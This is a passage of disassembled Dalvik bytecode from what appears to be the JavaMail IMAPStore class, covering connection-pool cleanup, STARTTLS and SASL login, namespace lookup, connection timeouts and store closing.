000009C4 invoke-virtual Vector->addElement(Object)V, v1, v0
000009CA goto/16 :772
:9CE
000009CE move-exception v0
000009D0 goto/16 :43E
:9D4
000009D4 move-exception v0
000009D6 goto/16 :3AC
:9DA
000009DA move-exception v0
000009DC goto/16 :31A
.catch NumberFormatException {:304 .. :31A} :9DA
.catch NumberFormatException {:394 .. :3AC} :9D4
.catch NumberFormatException {:426 .. :43E} :9CE
.end method
.method private checkConnected()V
.registers 3
00000000 sget-boolean v0, IMAPStore->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget-boolean v0, p0, IMAPStore->connected:Z
00000024 if-nez v0, :40
:28
00000028 const/4 v0, 0x0
0000002A invoke-super Store->setConnected(Z)V, p0, v0
00000030 new-instance v0, IllegalStateException
00000034 const-string v1, "Not connected"
00000038 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000003E throw v0
:40
00000040 return-void
.end method
.method private cleanup()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct IMAPStore->cleanup(Z)V, p0, v0
00000008 return-void
.end method
.method private cleanup(Z)V
.registers 10
00000000 const/4 v0, 0x0
00000002 const/4 v3, 0x0
00000004 iget-boolean v1, p0, IMAPStore->debug:Z
00000008 if-eqz v1, :34
:C
0000000C iget-object v1, p0, IMAPStore->out:PrintStream
00000010 new-instance v2, StringBuilder
00000014 const-string v4, "DEBUG: IMAPStore cleanup, force "
00000018 invoke-direct StringBuilder-><init>(String)V, v2, v4
0000001E invoke-virtual StringBuilder->append(Z)StringBuilder, v2, p1
00000024 move-result-object v2
00000026 invoke-virtual StringBuilder->toString()String, v2
0000002C move-result-object v2
0000002E invoke-virtual PrintStream->println(String)V, v1, v2
:34
00000034 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000038 monitor-enter v2
:3A
0000003A iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003E invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v1
00000044 move-result-object v1
00000046 if-eqz v1, :9C
:4A
0000004A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004E invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
00000054 move-result-object v1
00000056 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000005A const/4 v4, 0x0
0000005C invoke-static IMAPStore$ConnectionPool->access$14(IMAPStore$ConnectionPool, Vector)V, v0, v4
00000062 move v0, v3
:64
00000064 monitor-exit v2
:66
00000066 if-eqz v0, :AC
:6A
0000006A iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000006E monitor-enter v1
:70
00000070 invoke-direct IMAPStore->emptyConnectionPool(Z)V, p0, p1
00000076 monitor-exit v1
:78
00000078 iput-boolean v3, p0, IMAPStore->connected:Z
0000007C const/4 v0, 0x3
0000007E invoke-virtual IMAPStore->notifyConnectionListeners(I)V, p0, v0
00000084 iget-boolean v0, p0, IMAPStore->debug:Z
00000088 if-eqz v0, :9A
:8C
0000008C iget-object v0, p0, IMAPStore->out:PrintStream
00000090 const-string v1, "DEBUG: IMAPStore cleanup done"
00000094 invoke-virtual PrintStream->println(String)V, v0, v1
:9A
0000009A return-void
:9C
0000009C const/4 v1, 0x1
0000009E move v7, v1
000000A0 move-object v1, v0
000000A2 move v0, v7
000000A4 goto :64
:A6
000000A6 move-exception v0
:A8
000000A8 monitor-exit v2
:AA
000000AA throw v0
:AC
000000AC invoke-virtual Vector->size()I, v1
000000B2 move-result v4
000000B4 move v2, v3
:B6
000000B6 if-lt v2, v4, :BE
:BA
000000BA move-object v0, v1
000000BC goto :34
:BE
000000BE invoke-virtual Vector->elementAt(I)Object, v1, v2
000000C4 move-result-object v0
000000C6 check-cast v0, IMAPFolder
000000CA if-eqz p1, :F2
:CE
000000CE iget-boolean v5, p0, IMAPStore->debug:Z
000000D2 if-eqz v5, :E4
:D6
000000D6 iget-object v5, p0, IMAPStore->out:PrintStream
000000DA const-string v6, "DEBUG: force folder to close"
000000DE invoke-virtual PrintStream->println(String)V, v5, v6
:E4
000000E4 invoke-virtual IMAPFolder->forceClose()V, v0
:EA
000000EA add-int/lit8 v0, v2, 0x1
000000EE move v2, v0
000000F0 goto :B6
:F2
000000F2 iget-boolean v5, p0, IMAPStore->debug:Z
000000F6 if-eqz v5, :108
:FA
000000FA iget-object v5, p0, IMAPStore->out:PrintStream
000000FE const-string v6, "DEBUG: close folder"
00000102 invoke-virtual PrintStream->println(String)V, v5, v6
:108
00000108 const/4 v5, 0x0
0000010A invoke-virtual IMAPFolder->close(Z)V, v0, v5
:110
00000110 goto :EA
:112
00000112 move-exception v0
00000114 goto :EA
:116
00000116 move-exception v0
:118
00000118 monitor-exit v1
:11A
0000011A throw v0
:11C
0000011C move-exception v0
0000011E goto :EA
.catchall {:3A .. :66} :A6
.catchall {:70 .. :78} :116
.catchall {:A8 .. :AA} :A6
.catch MessagingException {:CE .. :110} :112
.catch IllegalStateException {:CE .. :110} :11C
.catchall {:118 .. :11A} :116
.end method
.method private emptyConnectionPool(Z)V
.registers 5
00000000 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 monitor-enter v2
:6
00000006 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000010 move-result-object v0
00000012 invoke-virtual Vector->size()I, v0
00000018 move-result v0
0000001A add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000001E move v1, v0
:20
00000020 if-gez v1, :58
:24
00000024 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000028 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000002E move-result-object v0
00000030 invoke-virtual Vector->removeAllElements()V, v0
00000036 monitor-exit v2
:38
00000038 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003C invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000042 move-result v0
00000044 if-eqz v0, :56
:48
00000048 iget-object v0, p0, IMAPStore->out:PrintStream
0000004C const-string v1, "DEBUG: removed all authenticated connections"
00000050 invoke-virtual PrintStream->println(String)V, v0, v1
:56
00000056 return-void
:58
00000058 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000005C invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000062 move-result-object v0
00000064 invoke-virtual Vector->elementAt(I)Object, v0, v1
0000006A move-result-object v0
0000006C check-cast v0, IMAPProtocol
00000070 invoke-virtual IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000076 if-eqz p1, :88
:7A
0000007A invoke-virtual IMAPProtocol->disconnect()V, v0
:80
00000080 add-int/lit8 v0, v1, 0xFFFFFFFFFFFFFFFF
00000084 move v1, v0
00000086 goto :20
:88
00000088 invoke-virtual IMAPProtocol->logout()V, v0
:8E
0000008E goto :80
:90
00000090 move-exception v0
00000092 goto :80
:94
00000094 move-exception v0
:96
00000096 monitor-exit v2
:98
00000098 throw v0
.catchall {:6 .. :38} :94
.catch ProtocolException {:58 .. :8E} :90
.catchall {:58 .. :8E} :94
.catchall {:96 .. :98} :94
.end method
.method private declared-synchronized getNamespaces()Namespaces
.registers 6
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPStore->checkConnected()V, p0
00000008 const/4 v0, 0x0
0000000A iget-object v1, p0, IMAPStore->namespaces:Namespaces
:E
0000000E if-nez v1, :36
:12
00000012 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
:18
00000018 move-result-object v0
:1A
0000001A invoke-virtual IMAPProtocol->namespace()Namespaces, v0
00000020 move-result-object v1
00000022 iput-object v1, p0, IMAPStore->namespaces:Namespaces
:26
00000026 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
0000002C if-nez v0, :36
:30
00000030 invoke-direct IMAPStore->cleanup()V, p0
:36
00000036 iget-object v0, p0, IMAPStore->namespaces:Namespaces
:3A
0000003A monitor-exit p0
0000003C return-object v0
:3E
0000003E move-exception v1
:40
00000040 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
00000046 if-nez v0, :36
:4A
0000004A invoke-direct IMAPStore->cleanup()V, p0
:50
00000050 goto :36
:52
00000052 move-exception v0
00000054 monitor-exit p0
00000056 throw v0
:58
00000058 move-exception v1
0000005A move-object v4, v1
0000005C move-object v1, v0
0000005E move-object v0, v4
:60
00000060 new-instance v2, StoreClosedException
00000064 invoke-virtual ConnectionException->getMessage()String, v0
0000006A move-result-object v0
0000006C invoke-direct StoreClosedException-><init>(Store, String)V, v2, p0, v0
00000072 throw v2
:74
00000074 move-exception v0
:76
00000076 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000007C if-nez v1, :86
:80
00000080 invoke-direct IMAPStore->cleanup()V, p0
:86
00000086 throw v0
:88
00000088 move-exception v1
0000008A move-object v4, v1
0000008C move-object v1, v0
0000008E move-object v0, v4
:90
00000090 new-instance v2, MessagingException
00000094 invoke-virtual ProtocolException->getMessage()String, v0
0000009A move-result-object v3
0000009C invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000000A2 throw v2
:A4
000000A4 move-exception v1
000000A6 move-object v4, v1
000000A8 move-object v1, v0
000000AA move-object v0, v4
000000AC goto :76
:AE
000000AE move-exception v1
000000B0 move-object v4, v1
000000B2 move-object v1, v0
000000B4 move-object v0, v4
000000B6 goto :76
:B8
000000B8 move-exception v1
000000BA move-object v4, v1
000000BC move-object v1, v0
000000BE move-object v0, v4
000000C0 goto :90
:C2
000000C2 move-exception v1
000000C4 move-object v4, v1
000000C6 move-object v1, v0
000000C8 move-object v0, v4
000000CA goto :60
.catchall {:2 .. :E} :52
.catch BadCommandException {:12 .. :18} :3E
.catch ConnectionException {:12 .. :18} :58
.catch ProtocolException {:12 .. :18} :88
.catchall {:12 .. :18} :A4
.catch BadCommandException {:1A .. :26} :3E
.catch ConnectionException {:1A .. :26} :C2
.catch ProtocolException {:1A .. :26} :B8
.catchall {:1A .. :26} :AE
.catchall {:26 .. :3A} :52
.catchall {:40 .. :50} :52
.catchall {:60 .. :74} :74
.catchall {:76 .. :88} :52
.catchall {:90 .. :A4} :74
.end method
.method private login(IMAPProtocol, String, String)V
.registers 10
00000000 iget-boolean v0, p0, IMAPStore->enableStartTLS:Z
00000004 if-eqz v0, :24
:8
00000008 const-string v0, "STARTTLS"
0000000C invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
00000012 move-result v0
00000014 if-eqz v0, :24
:18
00000018 invoke-virtual IMAPProtocol->startTLS()V, p1
0000001E invoke-virtual IMAPProtocol->capability()V, p1
:24
00000024 invoke-virtual IMAPProtocol->isAuthenticated()Z, p1
0000002A move-result v0
0000002C if-eqz v0, :32
:30
00000030 return-void
:32
00000032 invoke-virtual IMAPProtocol->getCapabilities()Map, p1
00000038 move-result-object v0
0000003A const-string v1, "__PRELOGIN__"
0000003E const-string v2, ""
00000042 invoke-interface Map->put(Object, Object)Object, v0, v1, v2
00000048 iget-object v0, p0, IMAPStore->authorizationID:String
0000004C if-eqz v0, :AA
:50
00000050 iget-object v3, p0, IMAPStore->authorizationID:String
:54
00000054 iget-boolean v0, p0, IMAPStore->enableSASL:Z
00000058 if-eqz v0, :70
:5C
0000005C iget-object v1, p0, IMAPStore->saslMechanisms:[String
00000060 iget-object v2, p0, IMAPStore->saslRealm:String
00000064 move-object v0, p1
00000066 move-object v4, p2
00000068 move-object v5, p3
0000006A invoke-virtual/range IMAPProtocol->sasllogin([String, String, String, String, String)V, v0 .. v5
:70
00000070 invoke-virtual IMAPProtocol->isAuthenticated()Z, p1
00000076 move-result v0
00000078 if-eqz v0, :BC
:7C
0000007C iget-object v0, p0, IMAPStore->proxyAuthUser:String
00000080 if-eqz v0, :8E
:84
00000084 iget-object v0, p0, IMAPStore->proxyAuthUser:String
00000088 invoke-virtual IMAPProtocol->proxyauth(String)V, p1, v0
:8E
0000008E const-string v0, "__PRELOGIN__"
00000092 invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
00000098 move-result v0
0000009A if-eqz v0, :30
:9E
0000009E invoke-virtual IMAPProtocol->capability()V, p1
:A4
000000A4 goto :30
:A6
000000A6 move-exception v0
000000A8 throw v0
:AA
000000AA iget-object v0, p0, IMAPStore->proxyAuthUser:String
000000AE if-eqz v0, :B8
:B2
000000B2 iget-object v3, p0, IMAPStore->proxyAuthUser:String
000000B6 goto :54
:B8
000000B8 move-object v3, p2
000000BA goto :54
:BC
000000BC const-string v0, "AUTH=PLAIN"
000000C0 invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
000000C6 move-result v0
000000C8 if-eqz v0, :DC
:CC
000000CC iget-boolean v0, p0, IMAPStore->disableAuthPlain:Z
000000D0 if-nez v0, :DC
:D4
000000D4 invoke-virtual IMAPProtocol->authplain(String, String, String)V, p1, v3, p2, p3
000000DA goto :7C
:DC
000000DC const-string v0, "AUTH-LOGIN"
000000E0 invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
000000E6 move-result v0
000000E8 if-nez v0, :FC
:EC
000000EC const-string v0, "AUTH=LOGIN"
000000F0 invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
000000F6 move-result v0
000000F8 if-eqz v0, :10C
:FC
000000FC iget-boolean v0, p0, IMAPStore->disableAuthLogin:Z
00000100 if-nez v0, :10C
:104
00000104 invoke-virtual IMAPProtocol->authlogin(String, String)V, p1, p2, p3
0000010A goto :7C
:10C
0000010C const-string v0, "LOGINDISABLED"
00000110 invoke-virtual IMAPProtocol->hasCapability(String)Z, p1, v0
00000116 move-result v0
00000118 if-nez v0, :124
:11C
0000011C invoke-virtual IMAPProtocol->login(String, String)V, p1, p2, p3
00000122 goto :7C
:124
00000124 new-instance v0, ProtocolException
00000128 const-string v1, "No login methods supported!"
0000012C invoke-direct ProtocolException-><init>(String)V, v0, v1
00000132 throw v0
:134
00000134 move-exception v0
00000136 goto/16 :30
.catch ConnectionException {:9E .. :A4} :A6
.catch ProtocolException {:9E .. :A4} :134
.end method
.method private namespaceToFolders([Namespaces$Namespace, String)[Folder
.registers 10
00000000 const/4 v1, 0x0
00000002 array-length v0, p1
00000004 new-array v4, v0, [Folder
00000008 move v0, v1
:A
0000000A array-length v2, v4
0000000C if-lt v0, v2, :12
:10
00000010 return-object v4
:12
00000012 aget-object v2, p1, v0
00000016 iget-object v2, v2, Namespaces$Namespace->prefix:String
0000001A if-nez p2, :70
:1E
0000001E invoke-virtual String->length()I, v2
00000024 move-result v3
00000026 if-lez v3, :4E
:2A
0000002A add-int/lit8 v5, v3, 0xFFFFFFFFFFFFFFFF
0000002E invoke-virtual String->charAt(I)C, v2, v5
00000034 move-result v5
00000036 aget-object v6, p1, v0
0000003A iget-char v6, v6, Namespaces$Namespace->delimiter:C
0000003E if-ne v5, v6, :4E
:42
00000042 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFFF
00000046 invoke-virtual String->substring(I, I)String, v2, v1, v3
0000004C move-result-object v2
:4E
0000004E new-instance v5, IMAPFolder
00000052 aget-object v3, p1, v0
00000056 iget-char v6, v3, Namespaces$Namespace->delimiter:C
0000005A if-nez p2, :94
:5E
0000005E const/4 v3, 0x1
:60
00000060 invoke-direct IMAPFolder-><init>(String, C, IMAPStore, Z)V, v5, v2, v6, p0, v3
00000066 aput-object v5, v4, v0
0000006A add-int/lit8 v0, v0, 0x1
0000006E goto :A
:70
00000070 new-instance v3, StringBuilder
00000074 invoke-static String->valueOf(Object)String, v2
0000007A move-result-object v2
0000007C invoke-direct StringBuilder-><init>(String)V, v3, v2
00000082 invoke-virtual StringBuilder->append(String)StringBuilder, v3, p2
00000088 move-result-object v2
0000008A invoke-virtual StringBuilder->toString()String, v2
00000090 move-result-object v2
00000092 goto :4E
:94
00000094 move v3, v1
00000096 goto :60
.end method
.method private timeoutConnections()V
.registers 10
00000000 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 monitor-enter v2
:6
00000006 invoke-static System->currentTimeMillis()J
0000000C move-result-wide v0
0000000E iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000012 invoke-static IMAPStore$ConnectionPool->access$16(IMAPStore$ConnectionPool)J, v3
00000018 move-result-wide v3
0000001A sub-long/2addr v0, v3
0000001C iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000020 invoke-static IMAPStore$ConnectionPool->access$17(IMAPStore$ConnectionPool)J, v3
00000026 move-result-wide v3
00000028 cmp-long v0, v0, v3
0000002C if-lez v0, :FC
:30
00000030 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000034 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000003A move-result-object v0
0000003C invoke-virtual Vector->size()I, v0
00000042 move-result v0
00000044 const/4 v1, 0x1
00000046 if-le v0, v1, :FC
:4A
0000004A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004E invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000054 move-result v0
00000056 if-eqz v0, :CC
:5A
0000005A iget-object v0, p0, IMAPStore->out:PrintStream
0000005E new-instance v1, StringBuilder
00000062 const-string v3, "DEBUG: checking for connections to prune: "
00000066 invoke-direct StringBuilder-><init>(String)V, v1, v3
0000006C invoke-static System->currentTimeMillis()J
00000072 move-result-wide v3
00000074 iget-object v5, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000078 invoke-static IMAPStore$ConnectionPool->access$16(IMAPStore$ConnectionPool)J, v5
0000007E move-result-wide v5
00000080 sub-long/2addr v3, v5
00000082 invoke-virtual StringBuilder->append(J)StringBuilder, v1, v3, v4
00000088 move-result-object v1
0000008A invoke-virtual StringBuilder->toString()String, v1
00000090 move-result-object v1
00000092 invoke-virtual PrintStream->println(String)V, v0, v1
00000098 iget-object v0, p0, IMAPStore->out:PrintStream
0000009C new-instance v1, StringBuilder
000000A0 const-string v3, "DEBUG: clientTimeoutInterval: "
000000A4 invoke-direct StringBuilder-><init>(String)V, v1, v3
000000AA iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000AE invoke-static IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v3
000000B4 move-result-wide v3
000000B6 invoke-virtual StringBuilder->append(J)StringBuilder, v1, v3, v4
000000BC move-result-object v1
000000BE invoke-virtual StringBuilder->toString()String, v1
000000C4 move-result-object v1
000000C6 invoke-virtual PrintStream->println(String)V, v0, v1
:CC
000000CC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000D0 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000D6 move-result-object v0
000000D8 invoke-virtual Vector->size()I, v0
000000DE move-result v0
000000E0 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
000000E4 move v1, v0
:E6
000000E6 if-gtz v1, :100
:EA
000000EA iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000EE invoke-static System->currentTimeMillis()J
000000F4 move-result-wide v3
000000F6 invoke-static IMAPStore$ConnectionPool->access$0(IMAPStore$ConnectionPool, J)V, v0, v3, v4
:FC
000000FC monitor-exit v2
000000FE return-void
:100
00000100 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000104 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000010A move-result-object v0
0000010C invoke-virtual Vector->elementAt(I)Object, v0, v1
00000112 move-result-object v0
00000114 check-cast v0, IMAPProtocol
00000118 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000011C invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v3
00000122 move-result v3
00000124 if-eqz v3, :162
:128
00000128 iget-object v3, p0, IMAPStore->out:PrintStream
0000012C new-instance v4, StringBuilder
00000130 const-string v5, "DEBUG: protocol last used: "
00000134 invoke-direct StringBuilder-><init>(String)V, v4, v5
0000013A invoke-static System->currentTimeMillis()J
00000140 move-result-wide v5
00000142 invoke-virtual IMAPProtocol->getTimestamp()J, v0
00000148 move-result-wide v7
0000014A sub-long/2addr v5, v7
0000014C invoke-virtual StringBuilder->append(J)StringBuilder, v4, v5, v6
00000152 move-result-object v4
00000154 invoke-virtual StringBuilder->toString()String, v4
0000015A move-result-object v4
0000015C invoke-virtual PrintStream->println(String)V, v3, v4
:162
00000162 invoke-static System->currentTimeMillis()J
00000168 move-result-wide v3
0000016A invoke-virtual IMAPProtocol->getTimestamp()J, v0
00000170 move-result-wide v5
00000172 sub-long/2addr v3, v5
00000174 iget-object v5, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000178 invoke-static IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v5
0000017E move-result-wide v5
00000180 cmp-long v3, v3, v5
00000184 if-lez v3, :1D2
:188
00000188 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000018C invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v3
00000192 move-result v3
00000194 if-eqz v3, :1B4
:198
00000198 iget-object v3, p0, IMAPStore->out:PrintStream
0000019C const-string v4, "DEBUG: authenticated connection timed out"
000001A0 invoke-virtual PrintStream->println(String)V, v3, v4
000001A6 iget-object v3, p0, IMAPStore->out:PrintStream
000001AA const-string v4, "DEBUG: logging out the connection"
000001AE invoke-virtual PrintStream->println(String)V, v3, v4
:1B4
000001B4 invoke-virtual IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
000001BA iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001BE invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
000001C4 move-result-object v3
000001C6 invoke-virtual Vector->removeElementAt(I)V, v3, v1
:1CC
000001CC invoke-virtual IMAPProtocol->logout()V, v0
:1D2
000001D2 add-int/lit8 v0, v1, 0xFFFFFFFFFFFFFFFF
000001D6 move v1, v0
000001D8 goto :E6
:1DA
000001DA move-exception v0
:1DC
000001DC monitor-exit v2
:1DE
000001DE throw v0
:1E0
000001E0 move-exception v0
000001E2 goto :1D2
.catchall {:6 .. :1CC} :1DA
.catch ProtocolException {:1CC .. :1D2} :1E0
.catchall {:1CC .. :1D2} :1DA
.catchall {:1DC .. :1DE} :1DA
.end method
.method private waitIfIdle()V
.registers 3
00000000 sget-boolean v0, IMAPStore->$assertionsDisabled:Z
00000004 if-nez v0, :5E
:8
00000008 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000C invoke-static Thread->holdsLock(Object)Z, v0
00000012 move-result v0
00000014 if-nez v0, :5E
:18
00000018 new-instance v0, AssertionError
0000001C invoke-direct AssertionError-><init>()V, v0
00000022 throw v0
:24
00000024 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000028 invoke-static IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
0000002E move-result v0
00000030 const/4 v1, 0x1
00000032 if-ne v0, v1, :54
:36
00000036 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003A invoke-static IMAPStore$ConnectionPool->access$21(IMAPStore$ConnectionPool)IMAPProtocol, v0
00000040 move-result-object v0
00000042 invoke-virtual IMAPProtocol->idleAbort()V, v0
00000048 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004C const/4 v1, 0x2
0000004E invoke-static IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v1
:54
00000054 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000058 invoke-virtual Object->wait()V, v0
:5E
0000005E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000062 invoke-static IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
00000068 move-result v0
0000006A if-nez v0, :24
:6E
0000006E return-void
:70
00000070 move-exception v0
00000072 goto :5E
.catch InterruptedException {:54 .. :5E} :70
.end method
.method allowReadOnlySelect()Z
.registers 4
00000000 iget-object v0, p0, IMAPStore->session:Session
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "mail."
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 iget-object v2, p0, IMAPStore->name:String
00000016 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000001C move-result-object v1
0000001E const-string v2, ".allowreadonlyselect"
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000028 move-result-object v1
0000002A invoke-virtual StringBuilder->toString()String, v1
00000030 move-result-object v1
00000032 invoke-virtual Session->getProperty(String)String, v0, v1
00000038 move-result-object v0
0000003A if-eqz v0, :52
:3E
0000003E const-string v1, "true"
00000042 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000048 move-result v0
0000004A if-eqz v0, :52
:4E
0000004E const/4 v0, 0x1
:50
00000050 return v0
:52
00000052 const/4 v0, 0x0
00000054 goto :50
.end method
.method public declared-synchronized close()V
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-super Store->isConnected()Z, p0
:8
00000008 move-result v0
0000000A if-nez v0, :12
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 const/4 v1, 0x0
:14
00000014 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000018 monitor-enter v2
:1A
0000001A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001E invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000024 move-result-object v0
00000026 invoke-virtual Vector->isEmpty()Z, v0
0000002C move-result v0
0000002E monitor-exit v2
:30
00000030 if-eqz v0, :92
:34
00000034 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000038 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000003E move-result v0
00000040 if-eqz v0, :52
:44
00000044 iget-object v0, p0, IMAPStore->out:PrintStream
00000048 const-string v2, "DEBUG: close() - no connections "
0000004C invoke-virtual PrintStream->println(String)V, v0, v2
:52
00000052 invoke-direct IMAPStore->cleanup()V, p0
:58
00000058 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:5E
0000005E goto :E
:60
00000060 move-exception v0
00000062 monitor-exit p0
00000064 throw v0
:66
00000066 move-exception v0
:68
00000068 monitor-exit v2
:6A
0000006A throw v0
:6C
0000006C move-exception v0
:6E
0000006E invoke-direct IMAPStore->cleanup()V, p0
00000074 new-instance v2, MessagingException
00000078 invoke-virtual ProtocolException->getMessage()String, v0
0000007E move-result-object v3
00000080 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000086 throw v2
:88
00000088 move-exception v0
:8A
0000008A invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000090 throw v0
:92
00000092 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000098 move-result-object v1
0000009A iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009E monitor-enter v2
:A0
000000A0 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000A4 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000AA move-result-object v0
000000AC invoke-virtual Vector->removeElement(Object)Z, v0, v1
000000B2 monitor-exit v2
:B4
000000B4 invoke-virtual IMAPProtocol->logout()V, v1
:BA
000000BA invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:C0
000000C0 goto :E
:C2
000000C2 move-exception v0
:C4
000000C4 monitor-exit v2
:C6
000000C6 throw v0
.catchall {:2 .. :8} :60
.catch ProtocolException {:14 .. :1A} :6C
.catchall {:14 .. :1A} :88
.catchall {:1A .. :30} :66
.catch ProtocolException {:34 .. :58} :6C
.catchall {:34 .. :58} :88
.catchall {:58 .. :5E} :60
.catchall {:68 .. :6A} :66
.catch ProtocolException {:6A .. :6C} :6C
.catchall {:6A .. :6C} :88
.catchall {:6E .. :88} :88
.catchall {:8A .. :92} :60
.catch ProtocolException {:92 .. :A0} :6C
.catchall {:92 .. :A0} :88
.catchall {:A0 .. :B4} :C2
.catch ProtocolException {:B4 .. :BA} :6C
.catchall {:B4 .. :BA} :88
.catchall {:BA .. :C0} :60
.catchall {:C4 .. :C6} :C2
.catch ProtocolException {:C6 .. :C8} :6C
.catchall {:C6 .. :C8} :88
.end method
.method protected finalize()V
.registers 1
00000000 invoke-super Store->finalize()V, p0
00000006 invoke-virtual IMAPStore->close()V, p0
0000000C return-void
.end method
.method getAppendBufferSize()I
.registers 2
00000000 iget v0, p0, IMAPStore->appendBufferSize:I
00000004 return v0
.end method
.method getConnectionPoolDebug()Z
.registers 2
00000000 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method public declared-synchronized getDefaultFolder()Folder
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPStore->checkConnected()V, p0
00000008 new-instance v0, DefaultFolder
